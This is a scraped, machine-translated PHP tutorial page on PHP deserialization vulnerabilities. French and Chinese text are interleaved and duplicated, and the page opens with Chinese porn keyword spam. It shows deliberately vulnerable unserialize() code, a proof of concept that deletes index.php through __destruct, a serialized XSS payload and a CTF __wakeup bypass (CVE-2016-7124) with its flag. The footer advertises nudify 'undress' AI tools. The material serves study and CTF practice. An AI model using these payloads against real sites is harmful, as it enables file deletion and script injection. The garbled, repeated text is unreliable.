国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Table des matières
1. Programmation orientée objet PHP
public, protégé, privé
魔術(shù)方法(magic函數(shù))
魔術(shù)方法在反序列化攻擊中的作用
deux traits de soulignement
Méthodes magiques
PHP反序列化
PHP為何要序列化和反序列化
三、PHP反序列化漏洞原理
調(diào)用__destruct刪除
XSS(跨站腳本攻擊)攻擊
四、實例
PHP反序列化繞過__wakeup() CTF例題
Maison développement back-end Problème PHP Analyse détaillée des vulnérabilités de désérialisation PHP

Analyse détaillée des vulnérabilités de désérialisation PHP

Apr 07, 2022 pm 12:57 PM
php

Cet article vous apporte des connaissances pertinentes sur PHP, qui présente principalement des problèmes liés aux vulnérabilités de désérialisation, y compris la programmation orientée objet PHP, la sérialisation et la désérialisation, les principes de vulnérabilité de désérialisation, etc. Attendez le contenu, j'espère qu'il sera utile pour tout le monde.

Analyse détaillée des vulnérabilités de désérialisation PHP

Apprentissage recommandé?: "Tutoriel vidéo PHP"

1. Programmation orientée objet PHP

Dans Programmation orientée objet (Programmation orientée objet, POO),

objet est un L'ensemble composé d'informations et de la description du traitement de l'information est une abstraction du monde réel. Une

classe est une collection d'objetsqui partagent la même structure et le même comportement. La définition de chaque classe commence par le mot-clé class, suivi du nom de la classe.

Créez une classe PHP?:

<?php
class TestClass //定義一個類
{
//一個變量
public $variable = &#39;This is a string&#39;;
//一個方法
public function PrintVariable()
{
echo $this->variable;
}
}
//創(chuàng)建一個對象
$object?=?new?TestClass();
//調(diào)用一個方法
$object->PrintVariable();
?>

public, protégé, privé

Le contr?le d'accès de PHP pour les propriétés ou les méthodes se fait en ajoutant le mot-clé public (public), protégé (protégé) ou privé (privé) à réaliser.

public?: les membres de la classe publique sont accessibles n'importe où.

protected (protected) : les membres de la classe protégée sont accessibles par lui-même et ses sous-classes et classes parentes.

private (privé)?: les membres de la classe privée ne sont accessibles que par la classe dans laquelle ils sont définis. Remarque?:

Les modificateurs de contr?le d'accès sont différents

, la longueur et la valeur d'attribut de l'attribut après sérialisation seront différentes, comme indiqué ci-dessous?: public?: lorsque l'attribut est sérialisé, la valeur de l'attribut deviendra l'attribut name

protected?: Lorsque l'attribut est sérialisé, la valeur de l'attribut deviendra x00*x00 nom de l'attribut屬性名

protected:屬性被序列化的時候?qū)傩灾禃兂?x00*x00屬性名

private:屬性被序列化的時候?qū)傩灾禃兂?x00類名x00屬性名

其中:x00表示空字符,但是還是占用一個字符位置(空格),如下例

<?phpclass People{
    public $id;
    protected $gender;
    private $age;
    public function __construct(){
        $this->id?=?'Hardworking666';
????????$this->gender?=?'male';
????????$this->age?=?'18';
????}}$a?=?new?People();echo?serialize($a);?>
O:6:"People":3:{s:2:"id";s:14:"Hardworking666";s:9:"?*?gender";s:4:"male";s:11:"?People?age";s:2:"18";}

魔術(shù)方法(magic函數(shù))

PHP中把以兩個下劃線__開頭的方法稱為魔術(shù)方法(Magic methods)

PHP官方——魔術(shù)方法
PHP中16 個魔術(shù)方法詳解

類可能會包含一些特殊的函數(shù):magic函數(shù),這些函數(shù)在某些情況下會自動調(diào)用。

__construct()????????????//類的構(gòu)造函數(shù),創(chuàng)建對象時觸發(fā)

__destruct()?????????????//類的析構(gòu)函數(shù),對象被銷毀時觸發(fā)

__call()?????????????????//在對象上下文中調(diào)用不可訪問的方法時觸發(fā)

__callStatic()???????????//在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)

__get()??????????????????//讀取不可訪問屬性的值時,這里的不可訪問包含私有屬性或未定義

__set()??????????????????//在給不可訪問屬性賦值時觸發(fā)

__isset()????????????????//當對不可訪問屬性調(diào)用?isset()?或?empty()?時觸發(fā)

__unset()????????????????//在不可訪問的屬性上使用unset()時觸發(fā)

__invoke()???????????????//當嘗試以調(diào)用函數(shù)的方式調(diào)用一個對象時觸發(fā)

__sleep()????????????????//執(zhí)行serialize()時,先會調(diào)用這個方法

__wakeup()???????????????//執(zhí)行unserialize()時,先會調(diào)用這個方法

__toString()?????????????//當反序列化后的對象被輸出在模板中的時候(轉(zhuǎn)換成字符串的時候)自動調(diào)用

serialize() 函數(shù)會檢查類中是否存在一個魔術(shù)方法。如果存在,該方法會先被調(diào)用,然后才執(zhí)行序列化操作。

我們需要重點關注一下5個魔術(shù)方法,所以再強調(diào)一下:

__construct:構(gòu)造函數(shù),當一個對象創(chuàng)建時調(diào)用

__destruct:析構(gòu)函數(shù),當一個對象被銷毀時調(diào)用

__toString:當一個對象被當作一個字符串時使用

__sleep:在對象序列化的時候調(diào)用

__wakeup:對象重新醒來,即由二進制串重新組成一個對象的時候(在一個對象被反序列化時調(diào)用)

從序列化到反序列化這幾個函數(shù)的執(zhí)行過程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

<?php
class TestClass
{
    //一個變量
    public $variable = &#39;This is a string&#39;;
    //一個方法
    public function PrintVariable()
    {
        echo $this->variable.'<br />';
????}
????//構(gòu)造函數(shù)
????public?function??__construct()
????{
????????echo?'__construct<br />';
????}
????//析構(gòu)函數(shù)
????public?function?__destruct()
????{
????????echo?'__destruct<br />';
????}
????//當對象被當作一個字符串
????public?function?__toString()
????{
????????return?'__toString<br />';
????}
}
//創(chuàng)建一個對象
//__construct會被調(diào)用
$object?=?new?TestClass();
//創(chuàng)建一個方法
//‘This?is?a?string’將會被輸出
$object->PrintVariable();
//對象被當作一個字符串
//toString會被調(diào)用
echo?$object;
//php腳本要結(jié)束時,__destruct會被調(diào)用
?>

輸出結(jié)果:

__construct
This?is?a?string
__toString
__destruct

__toString()這個魔術(shù)方法能觸發(fā)的因素太多,所以有必要列一下:

1.??echo($obj)/print($obj)打印時會觸發(fā)?
2.??反序列化對象與字符串連接時?
3.??反序列化對象參與格式化字符串時?
4.??反序列化對象與字符串進行==比較時(PHP進行==比較的時候會轉(zhuǎn)換參數(shù)類型)?
5.??反序列化對象參與格式化SQL語句,綁定參數(shù)時?
6.??反序列化對象在經(jīng)過php字符串處理函數(shù),如strlen()、strops()、strcmp()、addslashes()等?
7.??在in_array()方法中,第一個參數(shù)時反序列化對象,第二個參數(shù)的數(shù)組中有__toString()返回的字符串的時候__toString()會被調(diào)用?
8.??反序列化的對象作為class_exists()的參數(shù)的時候

魔術(shù)方法在反序列化攻擊中的作用

反序列化的入口在unserialize(),只要參數(shù)可控并且這個類在當前作用域存在,就能傳入任何已經(jīng)序列化的對象,而不是局限于出現(xiàn)unserialize()

private?: Lorsque l'attribut est sérialisé, la valeur de l'attribut deviendra Nom de la classe x00 Nom de l'attribut x00

Parmi eux?: x00 représente le

caractère nul, mais occupe toujours une position de caractère (espace), comme dans l'exemple suivant

<?php
class User
{
    //類的數(shù)據(jù)
    public $age = 0;
    public $name = &#39;&#39;;
    //輸出數(shù)據(jù)
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.'?is?'.$this->age.'?years?old.<br />';
????}?//?“.”表示字符串連接
}
//創(chuàng)建一個對象
$usr?=?new?User();
//設置數(shù)據(jù)
$usr->age?=?18;
$usr->name?=?'Hardworking666';
//輸出數(shù)據(jù)
$usr->printdata();
//輸出序列化后的數(shù)據(jù)
echo?serialize($usr)
?>
User?Hardworking666?is?18?years?old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}
méthode magique (fonction magique)

En PHP, les méthodes commen?ant par

deux traits de soulignement

__ sont appelées

Méthodes magiques

(Méthodes magiques)

PHP officiel - méthodes magiques
Explication détaillée de 16 méthodes magiques méthodes en PHP
Les classes peuvent contenir des fonctions spéciales : des fonctions magiques, qui seront automatiquement appelées dans certaines circonstances. La fonction

a?-?array?數(shù)組型
b?-?boolean?布爾型
d?-?double?浮點型
i?-?integer?整數(shù)型
o?-?common?object?共同對象
r?-?objec?reference?對象引用
s?-?non-escaped?binary?string?非轉(zhuǎn)義的二進制字符串
S?-?escaped?binary?string?轉(zhuǎn)義的二進制字符串
C?-?custom?object?自定義對象
O?-?class?對象
N?-?null?空
R?-?pointer?reference?指針引用
U?-?unicode?string?Unicode?編碼的字符串
serialize() vérifie si une méthode magique existe dans la classe. Si elle est présente, cette méthode sera appelée en premier, puis l'opération de sérialisation sera effectuée. ????Nous devons nous concentrer sur 5 méthodes magiques, nous allons donc les souligner à nouveau?: ????__construct?: Constructeur, appelé lorsqu'un objet ?? est créé??????__destruct?: Destructeur, appelé lorsqu'un objet ?? est détruit ?? ???? __toString : Utilisé lorsqu'un objet ?? est traité comme une cha?ne ?? Utilisé ???? __sleep : dans l'objet ??Appelé ?? ??__wakeup lors de la ??sérialisation???: L'objet se réveille à nouveau, c'est-à-dire lorsque ??reconstruit un objet?? à partir d'une cha?ne binaire (appelée lorsqu'un objet est ??désérialisé??)???? Le processus d'exécution de ces les fonctions de la sérialisation à la désérialisation sont?: ????__construct() ->__sleep() -> __wakeup() -> >__toString() -> __destruct()??
<?php
class User
{
    //類的數(shù)據(jù)
    public $age = 0;
    public $name = &#39;&#39;;
    //輸出數(shù)據(jù)
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.'?is?'.$this->age.'?years?old.<br />';
????}
}
//重建對象
$usr?=?unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//輸出數(shù)據(jù)
$usr->printdata();
?>
??Résultat de sortie?: ??
User?Hardworking666?is?18?years?old.
??__toString()Ceci Il y a trop de facteurs qui peuvent déclencher la magie méthodes, il faut donc les lister : ??
<?phpclass test{
    public $variable = &#39;變量反序列化后都要銷毀&#39;; //公共變量
    public $variable2 = &#39;OTHER&#39;;
    public function printvariable()
    {
        echo $this->variable.'<br />';
????}
????public?function?__construct()
????{
????????echo?'__construct'.'<br />';
????}
????public?function?__destruct()
????{
????????echo?'__destruct'.'<br />';
????}
????public?function?__wakeup()
????{
????????echo?'__wakeup'.'<br />';
????}
????public?function?__sleep()
????{
????????echo?'__sleep'.'<br />';
????????return?array('variable','variable2');
????}}//創(chuàng)建一個對象,回調(diào)用__construct$object?=?new?test();
????//序列化一個對象,會調(diào)用__sleep$serialized?=?serialize($object);
????//輸出序列化后的字符串print?'Serialized:'.$serialized.'<br />';
????//重建對象,會調(diào)用__wakeup$object2?=?unserialize($serialized);
????//調(diào)用printvariable,會輸出數(shù)據(jù)(變量反序列化后都要銷毀)$object2->printvariable();
????//腳本結(jié)束,會調(diào)用__destruct?>
??Le r?le des méthodes magiques dans les attaques de désérialisation????L'entrée de la désérialisation se fait dans unserialize(), tant que les ?? paramètres Il est contr?lable et cette classe existe dans la portée actuelle, vous pouvez transmettre n'importe quel objet sérialisé, au lieu d'être limité aux objets de la classe où la fonction unserialize() appara?t. ????Si elle ne peut être limitée qu'à la classe actuelle, la surface d'attaque sera trop petite et la désérialisation d'autres objets de classe ne pourra contr?ler que les attributs. Si les méthodes d'autres objets de classe ne sont pas appelées dans le code après la désérialisation, elle ne peut toujours pas. être exploité. ????Cependant, la surface d'attaque peut être étendue en utilisant la méthode magique. La méthode magique est automatiquement complétée pendant la sérialisation ou la désérialisation de la classe, afin que vous puissiez ??utiliser les propriétés de l'objet dans la désérialisation pour contr?ler certaines fonctions exploitables ??. , pour atteindre le but de l'attaque. ????Comprenez le r?le des méthodes magiques dans les vulnérabilités de désérialisation à travers l'exemple suivant : ????2. Sérialisation et désérialisation PHP????Sérialisation PHP????Parfois, il est nécessaire de transmettre un objet sur le réseau pour faciliter la transmission. . , vous pouvez ??convertir l'objet entier en cha?ne binaire??, puis le restaurer à l'objet d'origine lorsqu'il atteint l'autre extrémité. Ce processus est appelé ??sérialisation?? (également appelé ??sérialisation??). ??

json數(shù)據(jù)使用 , 分隔開,數(shù)據(jù)內(nèi)使用 : 分隔

json數(shù)據(jù)其實就是個數(shù)組,這樣做的目的也是為了方便在前后端傳輸數(shù)據(jù),后端接受到json數(shù)據(jù),可以通過json_decode()得到原數(shù)據(jù),
這種將原本的數(shù)據(jù)通過某種手段進行"壓縮",并且按照一定的格式存儲的過程就可以稱之為序列化。

有兩種情況必須把對象序列化:
把一個對象在網(wǎng)絡中傳輸
把對象寫入文件或數(shù)據(jù)庫

相關概念可以參考我以前的文章:
Python序列化與反序列化詳解(包括json和json模塊詳解)

PHP序列化:把對象轉(zhuǎn)化為二進制的字符串,使用serialize()函數(shù)
PHP反序列化:把對象轉(zhuǎn)化的二進制字符串再轉(zhuǎn)化為對象,使用unserialize()函數(shù)

通過例子來看PHP序列化后的格式:

<?php
class User
{
    //類的數(shù)據(jù)
    public $age = 0;
    public $name = &#39;&#39;;
    //輸出數(shù)據(jù)
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.'?is?'.$this->age.'?years?old.<br />';
????}?//?“.”表示字符串連接
}
//創(chuàng)建一個對象
$usr?=?new?User();
//設置數(shù)據(jù)
$usr->age?=?18;
$usr->name?=?'Hardworking666';
//輸出數(shù)據(jù)
$usr->printdata();
//輸出序列化后的數(shù)據(jù)
echo?serialize($usr)
?>

輸出結(jié)果:

User?Hardworking666?is?18?years?old.
O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}

下面的 O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";} 就是對象user序列化后的形式。

“O”表示對象,“4”表示對象名長度為4,“User”為對象名,“2”表示有2個參數(shù)

“{}”里面是參數(shù)的key和value,

“s”表示string對象,“3”表示長度,“age”則為key;“i”是interger(整數(shù))對象,“18”是value,后面同理。

序列化格式:

a?-?array?數(shù)組型
b?-?boolean?布爾型
d?-?double?浮點型
i?-?integer?整數(shù)型
o?-?common?object?共同對象
r?-?objec?reference?對象引用
s?-?non-escaped?binary?string?非轉(zhuǎn)義的二進制字符串
S?-?escaped?binary?string?轉(zhuǎn)義的二進制字符串
C?-?custom?object?自定義對象
O?-?class?對象
N?-?null?空
R?-?pointer?reference?指針引用
U?-?unicode?string?Unicode?編碼的字符串

PHP序列化需注意以下幾點:

1、序列化只序列屬性,不序列方法
2、因為序列化不序列方法,所以反序列化之后如果想正常使用這個對象的話我們必須要依托這個類要在當前作用域存在的條件
3、我們能控制的只有類的屬性,攻擊就是尋找合適能被控制的屬性,利用作用域本身存在的方法,基于屬性發(fā)動攻擊

PHP反序列化

對上例進行反序列化:

<?php
class User
{
    //類的數(shù)據(jù)
    public $age = 0;
    public $name = &#39;&#39;;
    //輸出數(shù)據(jù)
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.'?is?'.$this->age.'?years?old.<br />';
????}
}
//重建對象
$usr?=?unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:14:"Hardworking666";}');
//輸出數(shù)據(jù)
$usr->printdata();
?>
User?Hardworking666?is?18?years?old.

_sleep 方法在一個對象被序列化時調(diào)用,_wakeup方法在一個對象被反序列化時調(diào)用

<?phpclass test{
    public $variable = &#39;變量反序列化后都要銷毀&#39;; //公共變量
    public $variable2 = &#39;OTHER&#39;;
    public function printvariable()
    {
        echo $this->variable.'<br />';
????}
????public?function?__construct()
????{
????????echo?'__construct'.'<br />';
????}
????public?function?__destruct()
????{
????????echo?'__destruct'.'<br />';
????}
????public?function?__wakeup()
????{
????????echo?'__wakeup'.'<br />';
????}
????public?function?__sleep()
????{
????????echo?'__sleep'.'<br />';
????????return?array('variable','variable2');
????}}//創(chuàng)建一個對象,回調(diào)用__construct$object?=?new?test();
????//序列化一個對象,會調(diào)用__sleep$serialized?=?serialize($object);
????//輸出序列化后的字符串print?'Serialized:'.$serialized.'<br />';
????//重建對象,會調(diào)用__wakeup$object2?=?unserialize($serialized);
????//調(diào)用printvariable,會輸出數(shù)據(jù)(變量反序列化后都要銷毀)$object2->printvariable();
????//腳本結(jié)束,會調(diào)用__destruct?>
__construct
__sleep
Serialized:O:4:"test":2:{s:8:"variable";s:33:"變量反序列化后都要銷毀";s:9:"variable2";s:5:"OTHER";}__wakeup
變量反序列化后都要銷毀
__destruct
__destruct

從序列化到反序列化這幾個函數(shù)的執(zhí)行過程是:
__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct()

PHP為何要序列化和反序列化

PHP的序列化與反序列化其實是為了解決一個問題:PHP對象傳遞問題

PHP對象是存放在內(nèi)存的堆空間段上的,PHP文件在執(zhí)行結(jié)束的時候會將對象銷毀。

如果剛好要用到銷毀的對象,難道還要再寫一遍代碼?所以為了解決這個問題就有了PHP的序列化和反序列化

從上文可以發(fā)現(xiàn),我們可以把一個實例化的對象長久的存儲在計算機磁盤上,需要調(diào)用的時候只需反序列化出來即可使用。

三、PHP反序列化漏洞原理

序列化和反序列化本身沒有問題,

但是反序列化內(nèi)容用戶可控,

后臺不正當?shù)氖褂昧薖HP中的魔法函數(shù),就會導致安全問題。

當傳給unserialize()參數(shù)可控時,可以通過傳入一個精心構(gòu)造的序列化字符串,從而控制對象內(nèi)部的變量甚至是函數(shù)。

調(diào)用__destruct刪除

存在漏洞的思路:一個類用于臨時將日志儲存進某個文件,當__destruct被調(diào)用時,日志文件將會被刪除:

//logdata.php<?phpclass?logfile{
????//log文件名
????public?$filename?=?'error.log';
????//一些用于儲存日志的代碼
????public?function?logdata($text)
????{
????????echo?'log?data:'.$text.'<br />';
????????file_put_contents($this->filename,$text,FILE_APPEND);
????}
????//destrcuctor?刪除日志文件
????public?function?__destruct()
????{
????????echo?'__destruct?deletes?'.$this->filename.'file.<br />';
????????unlink(dirname(__FILE__).'/'.$this->filename);
????}}?>

調(diào)用這個類:

<?phpinclude &#39;logdata.php&#39;class User{
    //類數(shù)據(jù)
    public $age = 0;
    public $name = &#39;&#39;;
    //輸出數(shù)據(jù)
    public function printdata()
    {
        echo &#39;User &#39;.$this->name.'?is'.$this->age.'?years?old.<br />';
????}}//重建數(shù)據(jù)$usr?=?unserialize($_GET['usr_serialized']);?>

代碼$usr = unserialize($_GET['usr_serialized']);中的$_GET[‘usr_serialized’]是可控的,那么可以構(gòu)造輸入,刪除任意文件。

如構(gòu)造輸入刪除目錄下的index.php文件:

<?php
include &#39;logdata.php&#39;;
$object = new logfile();
$object->filename?=?'index.php';
echo?serialize($object).'<br />';
?>

上面展示了由于輸入可控造成的__destruct函數(shù)刪除任意文件,其實問題也可能存在于__wakeup、__sleep__toString等其他magic函數(shù)。

比如,某用戶類定義了一個__toString,為了讓應用程序能夠?qū)㈩愖鳛橐粋€字符串輸出(echo $object),而且其他類也可能定義了一個類允許__toString讀取某個文件。

XSS(跨站腳本攻擊)攻擊

XSS攻擊通常指的是通過利用網(wǎng)頁開發(fā)時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網(wǎng)頁,使用戶加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁程序。攻擊成功后,攻擊者可能得到包括但不限于更高的權(quán)限(如執(zhí)行一些操作)、私密網(wǎng)頁內(nèi)容、會話和cookie等各種內(nèi)容。

例如,皮卡丘靶場PHP反序列化漏洞

$html=";
if(isset($_POST['o'])){????$s?=?$_POST['o'];
????if(!@$unser?=?unserialize($s)){????????$html.="<p>錯誤輸出</p>";
????}else{????????$html.="<p>{$unser->test)</p>";
????}

為了執(zhí)行<script>alert('xss')</script>,Payload:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

其他知識點:

unserialize漏洞依賴條件
1、unserialize函數(shù)的參數(shù)可控
2、腳本中存在一個構(gòu)造函數(shù)(__construct())、析構(gòu)函數(shù)(__destruct())、__wakeup()函數(shù)中有向PHP文件中寫數(shù)據(jù)的操作類
3、所寫的內(nèi)容需要有對象中的成員變量的值

防范方法
1、嚴格控制unserialize函數(shù)的參數(shù),堅持用戶所輸入的信息都是不可靠的原則
2、對于unserialize后的變量內(nèi)容進行檢查,以確定內(nèi)容沒有被污染

四、實例

PHP反序列化繞過__wakeup() CTF例題

攻防世界xctf web unserialize3

打開網(wǎng)址后的代碼:

class?xctf{public?$flag?=?'111';public?function?__wakeup(){exit('bad?requests');}?code=

已知在使用 unserialize() 反序列化時會先調(diào)用 __wakeup()函數(shù),

而本題的關鍵就是如何 繞過 __wakeup()函數(shù),就是 在反序列化的時候不調(diào)用它

序列化的字符串中的 屬性值 個數(shù) 大于 屬性個數(shù) 就會導致反序列化異常,從而繞過 __wakeup()

代碼中的__wakeup()方法如果使用就是和unserialize()反序列化函數(shù)結(jié)合使用的
這里沒有特別對哪個字符串序列化,所以把xctf類實例化后,進行反序列化。

我們利用php中的new運算符,實例化類xctf。

new 是申請空間的操作符,一般用于類。
比如定義了一個 class a{public i=0;}
$c = new a(); 相當于定義了一個基于a類的對象,這時候 $c->i 就是0

構(gòu)造序列化的代碼在編輯器內(nèi)執(zhí)行:

<?php
class xctf{
public $flag = &#39;111&#39;; //public定義flag變量公開可見
public function __wakeup(){
exit(&#39;bad requests&#39;);
}
}//題目少了一個},這里補上
$a=new xctf();
echo(serialize($a));
?>

運行結(jié)果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

序列化返回的字符串格式:

O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}

O:表示序列化的是對象
<length>:表示序列化的類名稱長度
<class name>:表示序列化的類的名稱
<n>:表示被序列化的對象的屬性個數(shù)
<field name 1>:屬性名
<field value 1>:屬性值

所以要修改屬性值<n>,既把1改為2以上。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在url中輸入:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{d0e4287c414858ea80e166dbdb75519e}

漏洞:
__wakeup繞過(CVE-2016-7124)
CVE-2016-7124:當序列化字符串中表示對象屬性個數(shù)的值大于真實的屬性個數(shù)時會跳過__wakeup的執(zhí)行

官方給出的影響版本:
PHP5 < 5.6.25
PHP7 < 7.0.10

推薦學習:《PHP教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefa?on, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1502
276
PHP appelle AI Intelligent Voice Assistant Assistant PHP Interaction System Construction PHP appelle AI Intelligent Voice Assistant Assistant PHP Interaction System Construction Jul 25, 2025 pm 08:45 PM

L'entrée vocale de l'utilisateur est capturée et envoyée au backend PHP via l'API MediaRecorder du JavaScript frontal; 2. PHP enregistre l'audio en tant que fichier temporaire et appelle STTAPI (tel que Google ou Baidu Voice Recognition) pour le convertir en texte; 3. PHP envoie le texte à un service d'IA (comme Openaigpt) pour obtenir une réponse intelligente; 4. PHP appelle ensuite TTSAPI (comme Baidu ou Google Voice Synthesis) pour convertir la réponse en fichier vocal; 5. PHP diffuse le fichier vocal vers l'avant pour jouer, terminant l'interaction. L'ensemble du processus est dominé par PHP pour assurer une connexion transparente entre toutes les liens.

Comment utiliser PHP pour créer des fonctions de partage social PHP Partage d'interface Pratique Comment utiliser PHP pour créer des fonctions de partage social PHP Partage d'interface Pratique Jul 25, 2025 pm 08:51 PM

La méthode principale de création de fonctions de partage social dans PHP est de générer dynamiquement des liens de partage qui répondent aux exigences de chaque plate-forme. 1. Obtenez d'abord la page actuelle ou les informations d'URL et d'article spécifiées; 2. Utilisez UrLencode pour coder les paramètres; 3. épisser et générer des liens de partage en fonction des protocoles de chaque plate-forme; 4. Afficher les liens sur l'avant pour que les utilisateurs puissent cliquer et partager; 5. Générez dynamiquement des balises OG sur la page pour optimiser l'affichage du contenu du partage; 6. Assurez-vous d'échapper à la saisie des utilisateurs pour empêcher les attaques XSS. Cette méthode ne nécessite pas d'authentification complexe, a de faibles co?ts de maintenance et convient à la plupart des besoins de partage de contenu.

Comment utiliser PHP combiné avec l'IA pour obtenir la correction de texte de la syntaxe PHP détection et l'optimisation Comment utiliser PHP combiné avec l'IA pour obtenir la correction de texte de la syntaxe PHP détection et l'optimisation Jul 25, 2025 pm 08:57 PM

Pour réaliser la correction d'erreur de texte et l'optimisation de la syntaxe avec l'IA, vous devez suivre les étapes suivantes: 1. Sélectionnez un modèle ou une API d'IA appropriée, tels que Baidu, Tencent API ou bibliothèque NLP open source; 2. Appelez l'API via Curl ou Guzzle de PHP et traitez les résultats de retour; 3. Afficher les informations de correction d'erreur dans l'application et permettre aux utilisateurs de choisir d'adopter l'adoption; 4. Utilisez PHP-L et PHP_CODESNIFFER pour la détection de syntaxe et l'optimisation du code; 5. Collectez en continu les commentaires et mettez à jour le modèle ou les règles pour améliorer l'effet. Lorsque vous choisissez AIAPI, concentrez-vous sur l'évaluation de la précision, de la vitesse de réponse, du prix et du support pour PHP. L'optimisation du code doit suivre les spécifications du PSR, utiliser le cache raisonnablement, éviter les requêtes circulaires, revoir le code régulièrement et utiliser x

PHP crée un système de commentaires de blog pour monétiser la revue des commentaires PHP et la stratégie anti-brosse PHP crée un système de commentaires de blog pour monétiser la revue des commentaires PHP et la stratégie anti-brosse Jul 25, 2025 pm 08:27 PM

1. La maximisation de la valeur commerciale du système de commentaires nécessite de combiner la livraison précise de la publicité native, les services à valeur ajoutée par l'utilisateur (tels que le téléchargement d'images, les commentaires de recharge), d'influencer le mécanisme d'incitation basé sur la qualité des commentaires et la conformité de la monétisation anonyme des données de données; 2. La stratégie d'audit doit adopter une combinaison de mécanismes de filtrage des mots clés dynamiques pré-audit et de signalement des utilisateurs, complétés par une note de qualité des commentaires pour réaliser une exposition hiérarchique de contenu; 3. Anti-brosses nécessite la construction d'une défense multicouche: la vérification sans capteur RecaptChav3, le robot de reconnaissance de champ de miel, IP et la limite de fréquence d'horodatage empêchent l'arrosage, et la reconnaissance du modèle de contenu marque les commentaires suspects et itéra en continu pour traiter les attaques.

Comment utiliser PHP pour combiner l'IA pour générer une image. PHP génère automatiquement des ?uvres d'art Comment utiliser PHP pour combiner l'IA pour générer une image. PHP génère automatiquement des ?uvres d'art Jul 25, 2025 pm 07:21 PM

PHP n'effectue pas directement un traitement d'image AI, mais s'intègre via les API, car il est bon dans le développement Web plut?t que dans les taches à forte intensité informatique. L'intégration de l'API peut atteindre une division professionnelle du travail, réduire les co?ts et améliorer l'efficacité; 2. Intégration des technologies clés incluez l'utilisation de Guzzle ou Curl pour envoyer des demandes HTTP, le codage et le décodage des données JSON, l'authentification de la sécurité des clés de l'API, les taches de traitement de la file d'attente asynchrones, les taches prenant du temps, la gestion des erreurs robuste et le mécanisme de retrait, le stockage et l'affichage d'images; 3. Les défis courants incluent le co?t des API incontr?lable, les résultats de génération incontr?lables, la mauvaise expérience utilisateur, les risques de sécurité et la gestion difficile des données. Les stratégies de réponse consistent à définir des quotas et des caches utilisateur, en fournissant des conseils ProTT et une sélection multi-images, des notifications asynchrones et des invites de progrès, un stockage et un audit de contenu de la variable d'environnement clé et un stockage cloud.

PHP réalise la gestion des stocks de produits de base et la monétisation de la synchronisation et du mécanisme d'alarme de l'inventaire PHP PHP réalise la gestion des stocks de produits de base et la monétisation de la synchronisation et du mécanisme d'alarme de l'inventaire PHP Jul 25, 2025 pm 08:30 PM

PHP assure l'atomicité de la déduction des stocks via les transactions de base de données et les verrous en ligne de Forupdate pour empêcher la survente élevée élevée en simultation; 2. La cohérence de l'inventaire multiplateforme dépend de la gestion centralisée et de la synchronisation axée sur les événements, combinant des notifications API / WebHook et des files d'attente de messages pour assurer une transmission fiable de données; 3. Le mécanisme d'alarme doit définir un faible inventaire, un inventaire zéro / négatif, des ventes invidables, des cycles de réapprovisionnement et des stratégies de fluctuations anormales dans différents scénarios, et sélectionner Dingtalk, SMS ou les personnes responsables par e-mail en fonction de l'urgence, et les informations d'alarme doivent être complètes et claires pour réaliser l'adaptation et la réponse rapide.

Au-delà de la pile de lampe: le r?le de PHP dans l'architecture d'entreprise moderne Au-delà de la pile de lampe: le r?le de PHP dans l'architecture d'entreprise moderne Jul 27, 2025 am 04:31 AM

PhpisstillRelevantinmodernerterpriseenvironments.1.modernPhp (7.xand8.x) offre des performances, des stricts, un jitcompilation, et modernsyntax, rendant la main

PHP Integrated AI Vorthing Reconnaissance et traducteur PHP Rendre Record Generation Solution de génération automatique PHP Integrated AI Vorthing Reconnaissance et traducteur PHP Rendre Record Generation Solution de génération automatique Jul 25, 2025 pm 07:06 PM

Sélectionnez le service de reconnaissance vocale AI approprié et intégrez PHPSDK; 2. Utilisez PHP pour appeler FFMPEG pour convertir les enregistrements en formats requis API (tels que WAV); 3. Téléchargez des fichiers sur le stockage cloud et appelez API Asynchronous Recognition; 4. Analyser les résultats JSON et organiser du texte à l'aide de la technologie NLP; 5. Générez des documents Word ou Markdown pour terminer l'automatisation des enregistrements de la réunion. L'ensemble du processus doit assurer le chiffrement des données, le contr?le d'accès et la conformité pour garantir la confidentialité et la sécurité.

See all articles